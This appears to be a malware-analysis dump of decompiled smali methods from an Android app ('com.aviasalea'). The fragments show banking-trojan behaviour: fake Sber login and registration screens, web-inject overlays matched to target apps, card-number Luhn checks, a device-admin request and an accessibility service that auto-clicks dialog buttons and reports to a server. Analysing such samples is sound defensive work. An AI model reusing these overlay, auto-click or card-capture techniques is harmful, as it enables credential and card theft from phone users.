                                      10invoke-virtual {p0, v0}, Lcom/aviasalea/injs/s/SRegActivity;->setContentView(Landroid/view/View;)V
                                      11new-instance v1, Lcom/aviasalea/injs/s/SRegActivity$1;
                                      13invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/SRegActivity$1;-><init>(Lcom/aviasalea/injs/s/SRegActivity;)V
                                      15invoke-virtual {v0, v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->setOnSberRegisterCallback(Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;)V
                                      16return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.injs.s.SSplashActivity.setContentView
                                      • android.os.Handler.<init>
                                      • android.os.Handler.postDelayed
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      4const v0, 0x7f080014
                                      6invoke-virtual {p0, v0}, Lcom/aviasalea/injs/s/SSplashActivity;->setContentView(I)V
                                      7new-instance v0, Landroid/os/Handler;
                                      9invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                      10new-instance v1, Lcom/aviasalea/injs/s/SSplashActivity$1;
                                      12invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/SSplashActivity$1;-><init>(Lcom/aviasalea/injs/s/SSplashActivity;)V
                                      13const-wide/16 v2, 0x3e8
                                      15invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                      16return-void
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0: new-instance v1, Landroid/content/Intent;
                                      3const-class v2, Lcom/aviasalea/checkui/AdRequestDialog;
                                      5invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const v2, 0x10008000
                                      8invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      10invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      11goto_10: return-void
                                      12catch_11: move-exception v0
                                      14invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      15goto/16 :goto_10
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0: new-instance v1, Landroid/content/Intent;
                                      3const-class v2, Lcom/aviasalea/ds/AccOnDialog;
                                      5invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const/high16 v2, 0x10000000
                                      8invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      10invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      11goto_f: return-void
                                      12catch_10: move-exception v0
                                      14invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      15goto/16 :goto_f
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0: new-instance v1, Landroid/content/Intent;
                                      3const-class v2, Lcom/aviasalea/ds/StartDialog;
                                      5invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const/high16 v2, 0x10000000
                                      8invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      10invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      11goto_f: return-void
                                      12catch_10: move-exception v0
                                      14invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      15goto/16 :goto_f
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0: new-instance v1, Landroid/content/Intent;
                                      3const-class v2, Lcom/aviasalea/injs/g/GActivity;
                                      5invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const v2, 0x10008000
                                      8invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      10invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      11goto_10: return-void
                                      12catch_11: move-exception v0
                                      14invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      15goto/16 :goto_10
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0: new-instance v1, Landroid/content/Intent;
                                      3const-class v2, Lcom/aviasalea/injs/s/SSplashActivity;
                                      5invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const v2, 0x10008000
                                      8invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      10invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      11goto_10: return-void
                                      12catch_11: move-exception v0
                                      14invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      15goto/16 :goto_10
                                      APIs
                                      • android.view.accessibility.AccessibilityEvent.getEventType
                                      • com.aviasalea.srs.GPSrs.handleAccessibilityEvent
                                      • com.aviasalea.srs.GPSrs.handleClick
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p1, "accessibilityEvent" # Landroid/view/accessibility/AccessibilityEvent;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getEventType()I
                                      4move-result v1
                                      5const/16 v2, 0x20
                                      6if-ne v1, v2, :cond_b
                                      8invoke-direct {p0, p1}, Lcom/aviasalea/srs/GPSrs;->handleAccessibilityEvent(Landroid/view/accessibility/AccessibilityEvent;)V
                                      9cond_b:
                                      10invoke-direct {p0, p1}, Lcom/aviasalea/srs/GPSrs;->handleClick(Landroid/view/accessibility/AccessibilityEvent;)V
                                      11goto_e: return-void
                                      12catch_f: move-exception v0
                                      14invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      15goto/16 :goto_e
                                      APIs
                                      • com.aviasalea.srs.StDlgSrs$StartDialogAccessTimerTask.<init>
                                      • java.util.Timer.<init>
                                      • com.aviasalea.srs.StDlgSrs.access$000
                                      • java.util.Timer.schedule
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v1, Lcom/aviasalea/srs/StDlgSrs$StartDialogAccessTimerTask;
                                      3iget-object v2, p0, Lcom/aviasalea/srs/StDlgSrs$1;->val$context:Landroid/content/Context;
                                      5invoke-direct {v1, v2}, Lcom/aviasalea/srs/StDlgSrs$StartDialogAccessTimerTask;-><init>(Landroid/content/Context;)V
                                      6new-instance v0, Ljava/util/Timer;
                                      8invoke-direct {v0}, Ljava/util/Timer;-><init>()V
                                      9const-wide/16 v2, 0x0
                                      11invoke-static {}, Lcom/aviasalea/srs/StDlgSrs;->access$000()J
                                      12move-result-wide v4
                                      14invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;JJ)V
                                      15return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.cancel
                                      • com.aviasalea.base.dialog.AlertDialog.dismiss
                                      • com.aviasalea.base.BaseActivity.finishActivity
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p1, "dialog" # Lcom/aviasalea/base/dialog/AlertDialog;
                                      1.prologue
                                      2if-eqz p1, :cond_9
                                      3try_start_2:
                                      4invoke-virtual {p1}, Lcom/aviasalea/base/dialog/AlertDialog;->cancel()V
                                      6invoke-virtual {p1}, Lcom/aviasalea/base/dialog/AlertDialog;->dismiss()V
                                      7const/4 p1, 0x0
                                      8cond_9:
                                      9invoke-virtual {p0}, Lcom/aviasalea/base/BaseActivity;->finishActivity()V
                                      10goto_c: return-void
                                      11catch_d: move-exception v0
                                      13invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      14goto/16 :goto_c
                                      APIs
                                      • android.os.Looper.getMainLooper
                                      • android.os.Handler.<init>
                                      • android.os.Handler.post
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p1, "runnable" # Ljava/lang/Runnable;
                                      1.prologue
                                      2try_start_0: new-instance v1, Landroid/os/Handler;
                                      4invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                                      5move-result-object v2
                                      7invoke-direct {v1, v2}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
                                      9invoke-virtual {v1, p1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
                                      10goto_c: return-void
                                      11catch_d: move-exception v0
                                      13invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      14goto/16 :goto_c
                                      APIs
                                      • java.text.SimpleDateFormat.getDateInstance
                                      • java.util.Calendar.getInstance
                                      • java.util.Calendar.getTime
                                      • java.text.DateFormat.format
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {}, Ljava/text/SimpleDateFormat;->getDateInstance()Ljava/text/DateFormat;
                                      3move-result-object v0
                                      5invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
                                      6move-result-object v1
                                      8invoke-virtual {v1}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
                                      9move-result-object v1
                                      11invoke-virtual {v0, v1}, Ljava/text/DateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
                                      12move-result-object v0
                                      13return-object v0
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.checkui.AdRequestDialog.setAdmin
                                      • java.lang.Boolean.valueOf
                                      • com.aviasalea.srs.GPSrs.sendObjectBroadcast
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-direct {p0}, Lcom/aviasalea/checkui/AdRequestDialog;->setAdmin()V
                                      6const/16 v0, 0xb
                                      7const/4 v1, 0x0
                                      9invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                      10move-result-object v1
                                      12invoke-static {p0, v0, v1}, Lcom/aviasalea/srs/GPSrs;->sendObjectBroadcast(Landroid/content/Context;ILjava/lang/Object;)V
                                      13return-void
                                      APIs
                                      • android.os.Message.obj:Ljava/lang/Object
                                      • android.os.Message.obj:Ljava/lang/Object
                                      • com.aviasalea.api.request.HTTPServer$1.this$0:Lcom/aviasalea/api/request/HTTPServer
                                      • android.os.Message.obj:Ljava/lang/Object
                                      • android.os.Message.toString
                                      • android.util.Log.d
                                      Strings
                                      • REALTALK REQUEST
                                      Position Instruction Meta Information
                                      0.param p1, "msg" # Landroid/os/Message;
                                      1.prologue
                                      2iget v0, p1, Landroid/os/Message;->what:I
                                      3packed-switch v0, :pswitch_data_24
                                      4goto_5: return-void
                                      5pswitch_6:
                                      6iget-object v0, p1, Landroid/os/Message;->obj:Ljava/lang/Object;
                                      7if-eqz v0, :cond_1a
                                      9iget-object v0, p1, Landroid/os/Message;->obj:Ljava/lang/Object;
                                      10instance-of v0, v0, Lcom/aviasalea/api/request/HttpRequest;
                                      11if-eqz v0, :cond_1a
                                      13iget-object v1, p0, Lcom/aviasalea/api/request/HTTPServer$1;->this$0:Lcom/aviasalea/api/request/HTTPServer;
                                      15iget-object v0, p1, Landroid/os/Message;->obj:Ljava/lang/Object;
                                      16check-cast v0, Lcom/aviasalea/api/request/HttpRequest;
                                      18invoke-static {v1, v0}, Lcom/aviasalea/api/request/HTTPServer;->access$000(Lcom/aviasalea/api/request/HTTPServer;Lcom/aviasalea/api/request/HttpRequest;)V
                                      19goto/16 :goto_5
                                      20cond_1a:
                                      21const-string v0, "REALTALK REQUEST"
                                      23invoke-virtual {p1}, Landroid/os/Message;->toString()Ljava/lang/String;
                                      24move-result-object v1
                                      26invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      27goto/16 :goto_5
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityEvent.getSource
                                      • com.aviasalea.srs.GPSrs.mChSSCl:Ljava/lang/String
                                      • com.aviasalea.srs.GPSrs.sendChangeMSClToServer
                                      Strings
                                      • android:id/button1
                                      Position Instruction Meta Information
                                      0.param p1, "accessibilityEvent" # Landroid/view/accessibility/AccessibilityEvent;
                                      1.prologue
                                      2sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                      3const/16 v3, 0x13
                                      4if-ge v2, v3, :cond_7
                                      5goto_6: return-void
                                      6cond_7:
                                      7invoke-static {p0}, Lcom/aviasalea/checktls/IntTls;->chSSCl(Landroid/content/Context;)V
                                      9invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getSource()Landroid/view/accessibility/AccessibilityNodeInfo;
                                      10move-result-object v1
                                      11if-eqz v1, :cond_6
                                      13const-string v2, "android:id/button1"
                                      14const/16 v3, 0x10
                                      16invoke-static {v1, v2, v3}, Lcom/aviasalea/checktls/NdTls;->clickNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;I)Z
                                      17move-result v0
                                      18if-eqz v0, :cond_6
                                      20iget-object v2, p0, Lcom/aviasalea/srs/GPSrs;->mChSSCl:Ljava/lang/String;
                                      21const-wide/16 v4, 0x0
                                      23invoke-direct {p0, v2, v4, v5}, Lcom/aviasalea/srs/GPSrs;->sendChangeMSClToServer(Ljava/lang/String;J)V
                                      24goto/16 :goto_6
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.toString
                                      • android.util.Log.w
                                      Strings
                                      • REALTALK REQUEST
                                      Position Instruction Meta Information
                                      0.param p1, "json" # Lorg/json/JSONObject;
                                      1.prologue
                                      2iget v0, p0, Lcom/aviasalea/api/request/HttpResponse;->ret:I
                                      3if-nez v0, :cond_8
                                      5invoke-virtual {p0, p1}, Lcom/aviasalea/api/request/HttpResponse;->parseSuccessRespones(Lorg/json/JSONObject;)V
                                      6goto_7: return-void
                                      7cond_8:
                                      8const-string v0, "REALTALK REQUEST"
                                      10invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                      11move-result-object v1
                                      13invoke-static {v0, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      14goto/16 :goto_7
                                      Cross References
                                      APIs
                                      • android.widget.RelativeLayout$LayoutParams.<init>
                                      • android.widget.RelativeLayout$LayoutParams.addRule
                                      • android.widget.RelativeLayout$LayoutParams.addRule
                                      Position Instruction Meta Information
                                      0.param p0, "width" # F
                                      1.param p1, "height" # F
                                      2.param p2, "leftMargin" # I
                                      3.param p3, "topMargin" # I
                                      4.param p4, "rightMargin" # I
                                      5.param p5, "bottomMargin" # I
                                      6.param p6, "alignParent" # I
                                      7.param p7, "alignRelative" # I
                                      8.param p8, "anchorRelative" # I
                                      9.prologue
                                      10new-instance v0, Landroid/widget/RelativeLayout$LayoutParams;
                                      12invoke-static {p0}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      13move-result v1
                                      15invoke-static {p1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      16move-result v2
                                      18invoke-direct {v0, v1, v2}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
                                      19if-ltz p6, :cond_12
                                      21invoke-virtual {v0, p6}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(I)V
                                      22cond_12: if-ltz p7, :cond_19
                                      23if-ltz p8, :cond_19
                                      25invoke-virtual {v0, p7, p8}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
                                      26cond_19: int-to-float v1, p2
                                      28invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      29move-result v1
                                      30iput v1, v0, Landroid/widget/RelativeLayout$LayoutParams;->leftMargin:I
                                      31int-to-float v1, p3
                                      33invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      34move-result v1
                                      35iput v1, v0, Landroid/widget/RelativeLayout$LayoutParams;->topMargin:I
                                      36int-to-float v1, p4
                                      38invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      39move-result v1
                                      40iput v1, v0, Landroid/widget/RelativeLayout$LayoutParams;->rightMargin:I
                                      41int-to-float v1, p5
                                      43invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      44move-result v1
                                      45iput v1, v0, Landroid/widget/RelativeLayout$LayoutParams;->bottomMargin:I
                                      46return-object v0
                                      Cross References
                                      APIs
                                      • java.util.List.size
                                      • java.util.List.get
                                      • java.lang.String.equals
                                      Position Instruction Meta Information
                                      0.param p0, "currentPackage" # Ljava/lang/String;
                                      1.param p1, "inj" # Lcom/aviasalea/wb/WITools$Inj;
                                      2.annotation system Ldalvik/annotation/Throws;
                                      3value = {
                                      4Ljava/lang/Exception;
                                      5}
                                      6.end annotation
                                      7.prologue
                                      9invoke-virtual {p1}, Lcom/aviasalea/wb/WITools$Inj;->getApps()Ljava/util/List;
                                      10move-result-object v1
                                      11if-eqz v1, :cond_2d
                                      12const/4 v2, 0x0
                                      13goto_7:
                                      14invoke-interface {v1}, Ljava/util/List;->size()I
                                      15move-result v3
                                      16if-ge v2, v3, :cond_2d
                                      18invoke-interface {v1, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      19move-result-object v0
                                      20check-cast v0, Lcom/aviasalea/wb/WITools$App;
                                      21if-eqz v0, :cond_2a
                                      23invoke-virtual {v0}, Lcom/aviasalea/wb/WITools$App;->isCheck()Z
                                      24move-result v3
                                      25if-eqz v3, :cond_2a
                                      27invoke-virtual {v0}, Lcom/aviasalea/wb/WITools$App;->getPkg()Ljava/lang/String;
                                      28move-result-object v3
                                      30invoke-virtual {p0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      31move-result v3
                                      32if-eqz v3, :cond_2a
                                      34invoke-virtual {p1}, Lcom/aviasalea/wb/WITools$Inj;->getLink()Ljava/lang/String;
                                      35move-result-object v3
                                      36goto_29: return-object v3
                                      37cond_2a: add-int/lit8 v2, v2, 0x1
                                      38goto/16 :goto_7
                                      39cond_2d: const/4 v3, 0x0
                                      40goto/16 :goto_29
                                      Cross References
                                      APIs
                                      • java.lang.String.trim
                                      • java.lang.String.isEmpty
                                      • java.lang.String.length
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v0, 0x0
                                      3iget-object v1, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      5invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      6move-result-object v1
                                      8invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
                                      9move-result v1
                                      10if-eqz v1, :cond_e
                                      11goto_d: return v0
                                      12cond_e:
                                      13iget-object v1, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      15invoke-virtual {v1}, Ljava/lang/String;->length()I
                                      16move-result v1
                                      17const/16 v2, 0x10
                                      18if-lt v1, v2, :cond_d
                                      20iget-object v1, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      22invoke-direct {p0, v1}, Lcom/aviasalea/injs/g/val/CVal;->isBlackCard(Ljava/lang/String;)Z
                                      23move-result v1
                                      24if-nez v1, :cond_d
                                      26invoke-direct {p0}, Lcom/aviasalea/injs/g/val/CVal;->dropLastNumber()V
                                      28invoke-direct {p0}, Lcom/aviasalea/injs/g/val/CVal;->addAllNumber()I
                                      29move-result v1
                                      30iget v2, p0, Lcom/aviasalea/injs/g/val/CVal;->checkDigit:I
                                      31add-int/2addr v1, v2
                                      32rem-int/lit8 v1, v1, 0xa
                                      33if-nez v1, :cond_d
                                      34const/4 v0, 0x1
                                      35goto/16 :goto_d
                                      Cross References
                                      APIs
                                      • java.util.List.contains
                                      • java.util.List.add
                                      • java.lang.Class.getInterfaces
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"(",
                                      3"Ljava/util/List",
                                      4"<",
                                      5"Ljava/lang/Class",
                                      6"<*>;>;[",
                                      7"Ljava/lang/Class",
                                      8"<*>;)V"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      12move-object v0, p1
                                      13array-length v3, v0
                                      14const/4 v1, 0x0
                                      15goto_3: if-ge v1, v3, :cond_1a
                                      16aget-object v2, v0, v1
                                      18invoke-interface {p0, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
                                      19move-result v4
                                      20if-nez v4, :cond_17
                                      22invoke-interface {p0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      24invoke-virtual {v2}, Ljava/lang/Class;->getInterfaces()[Ljava/lang/Class;
                                      25move-result-object v4
                                      27invoke-static {p0, v4}, Lde/greenrobot/event/EventBus;->addInterfaces(Ljava/util/List;[Ljava/lang/Class;)V
                                      28cond_17: add-int/lit8 v1, v1, 0x1
                                      29goto/16 :goto_3
                                      30cond_1a: return-void
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.isClickable
                                      • android.view.accessibility.AccessibilityNodeInfo.getParent
                                      • android.view.accessibility.AccessibilityNodeInfo.isClickable
                                      Position Instruction Meta Information
                                      0.param p0, "node" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.prologue
                                      3invoke-virtual {p0}, Landroid/view/accessibility/AccessibilityNodeInfo;->isClickable()Z
                                      4move-result v2
                                      5if-eqz v2, :cond_7
                                      6goto_6: return-object p0
                                      7cond_7: move-object v1, p0
                                      8const/4 v0, 0x0
                                      9goto_9: const/4 v2, 0x5
                                      10if-ge v0, v2, :cond_1f
                                      11if-eqz v1, :cond_1c
                                      13invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->getParent()Landroid/view/accessibility/AccessibilityNodeInfo;
                                      14move-result-object v1
                                      15if-eqz v1, :cond_1c
                                      17invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->isClickable()Z
                                      18move-result v2
                                      19if-eqz v2, :cond_1c
                                      20move-object p0, v1
                                      21goto/16 :goto_6
                                      22cond_1c: add-int/lit8 v0, v0, 0x1
                                      23goto/16 :goto_9
                                      24cond_1f: const/4 p0, 0x0
                                      25goto/16 :goto_6
                                      APIs
                                      • com.aviasalea.wb.CustomWVClient.mUrl:Ljava/lang/String
                                      • android.webkit.WebResourceRequest.getUrl
                                      • android.net.Uri.toString
                                      • com.aviasalea.wb.CustomWVClient.removeLastSlash
                                      Position Instruction Meta Information
                                      0.param p1, "view" # Landroid/webkit/WebView;
                                      1.param p2, "request" # Landroid/webkit/WebResourceRequest;
                                      2.param p3, "error" # Landroid/webkit/WebResourceError;
                                      3.annotation build Landroid/annotation/TargetApi;
                                      4value = 0x17
                                      5.end annotation
                                      6.prologue
                                      8iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      9if-eqz v0, :cond_c
                                      10iget-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      11if-nez v0, :cond_c
                                      12const/4 v0, 0x1
                                      13iput-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      14goto_b: return-void
                                      15cond_c:
                                      16invoke-interface {p2}, Landroid/webkit/WebResourceRequest;->getUrl()Landroid/net/Uri;
                                      17move-result-object v0
                                      19invoke-virtual {v0}, Landroid/net/Uri;->toString()Ljava/lang/String;
                                      20move-result-object v0
                                      22invoke-direct {p0, v0}, Lcom/aviasalea/wb/CustomWVClient;->removeLastSlash(Ljava/lang/String;)Ljava/lang/String;
                                      23move-result-object v0
                                      24iput-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mOnErrorUrl:Ljava/lang/String;
                                      25goto/16 :goto_b
                                      APIs
                                      • com.aviasalea.wb.CustomWVClient.mUrl:Ljava/lang/String
                                      • android.webkit.WebResourceRequest.getUrl
                                      • android.net.Uri.toString
                                      • com.aviasalea.wb.CustomWVClient.removeLastSlash
                                      Position Instruction Meta Information
                                      0.param p1, "view" # Landroid/webkit/WebView;
                                      1.param p2, "request" # Landroid/webkit/WebResourceRequest;
                                      2.param p3, "errorResponse" # Landroid/webkit/WebResourceResponse;
                                      3.annotation build Landroid/annotation/TargetApi;
                                      4value = 0x15
                                      5.end annotation
                                      6.prologue
                                      8iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      9if-eqz v0, :cond_c
                                      10iget-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      11if-nez v0, :cond_c
                                      12const/4 v0, 0x1
                                      13iput-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      14goto_b: return-void
                                      15cond_c:
                                      16invoke-interface {p2}, Landroid/webkit/WebResourceRequest;->getUrl()Landroid/net/Uri;
                                      17move-result-object v0
                                      19invoke-virtual {v0}, Landroid/net/Uri;->toString()Ljava/lang/String;
                                      20move-result-object v0
                                      22invoke-direct {p0, v0}, Lcom/aviasalea/wb/CustomWVClient;->removeLastSlash(Ljava/lang/String;)Ljava/lang/String;
                                      23move-result-object v0
                                      24iput-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mOnErrorUrl:Ljava/lang/String;
                                      25goto/16 :goto_b
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SLogView.tvRegister:Landroid/widget/TextView
                                      • android.widget.TextView.setOnClickListener
                                      • com.aviasalea.injs.s.views.SLogView.btnCancel:Landroid/widget/RelativeLayout
                                      • android.widget.RelativeLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.SLogView.btnEnter:Landroid/widget/RelativeLayout
                                      • android.widget.RelativeLayout.setOnClickListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView;->tvRegister:Landroid/widget/TextView;
                                      3new-instance v1, Lcom/aviasalea/injs/s/views/SLogView$2;
                                      5invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SLogView$2;-><init>(Lcom/aviasalea/injs/s/views/SLogView;)V
                                      7invoke-virtual {v0, v1}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView;->btnCancel:Landroid/widget/RelativeLayout;
                                      10new-instance v1, Lcom/aviasalea/injs/s/views/SLogView$3;
                                      12invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SLogView$3;-><init>(Lcom/aviasalea/injs/s/views/SLogView;)V
                                      14invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      16iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView;->btnEnter:Landroid/widget/RelativeLayout;
                                      17new-instance v1, Lcom/aviasalea/injs/s/views/SLogView$4;
                                      19invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SLogView$4;-><init>(Lcom/aviasalea/injs/s/views/SLogView;)V
                                      21invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      22return-void
                                      APIs
                                      • java.net.InetAddress.isAnyLocalAddress
                                      • java.net.InetAddress.isLoopbackAddress
                                      • java.net.NetworkInterface.getByInetAddress
                                      Position Instruction Meta Information
                                      0.param p0, "addr" # Ljava/net/InetAddress;
                                      1.prologue
                                      2const/4 v1, 0x1
                                      3const/4 v2, 0x0
                                      5invoke-virtual {p0}, Ljava/net/InetAddress;->isAnyLocalAddress()Z
                                      6move-result v3
                                      7if-nez v3, :cond_e
                                      9invoke-virtual {p0}, Ljava/net/InetAddress;->isLoopbackAddress()Z
                                      10move-result v3
                                      11if-eqz v3, :cond_f
                                      12goto_e: return v1
                                      13cond_f:
                                      14invoke-static {p0}, Ljava/net/NetworkInterface;->getByInetAddress(Ljava/net/InetAddress;)Ljava/net/NetworkInterface;
                                      15try_end_12: move-result-object v3
                                      16if-nez v3, :cond_e
                                      17move v1, v2
                                      18goto/16 :goto_e
                                      19catch_17: move-exception v0
                                      20move v1, v2
                                      21goto/16 :goto_e
                                      APIs
                                      • com.aviasalea.srs.rcv.AlarmBroadCastReceiver.startCmndSrs
                                      • com.aviasalea.Realtalk.isStartAccess
                                      • com.aviasalea.srs.rcv.AlarmBroadCastReceiver.startStDlgSrs
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
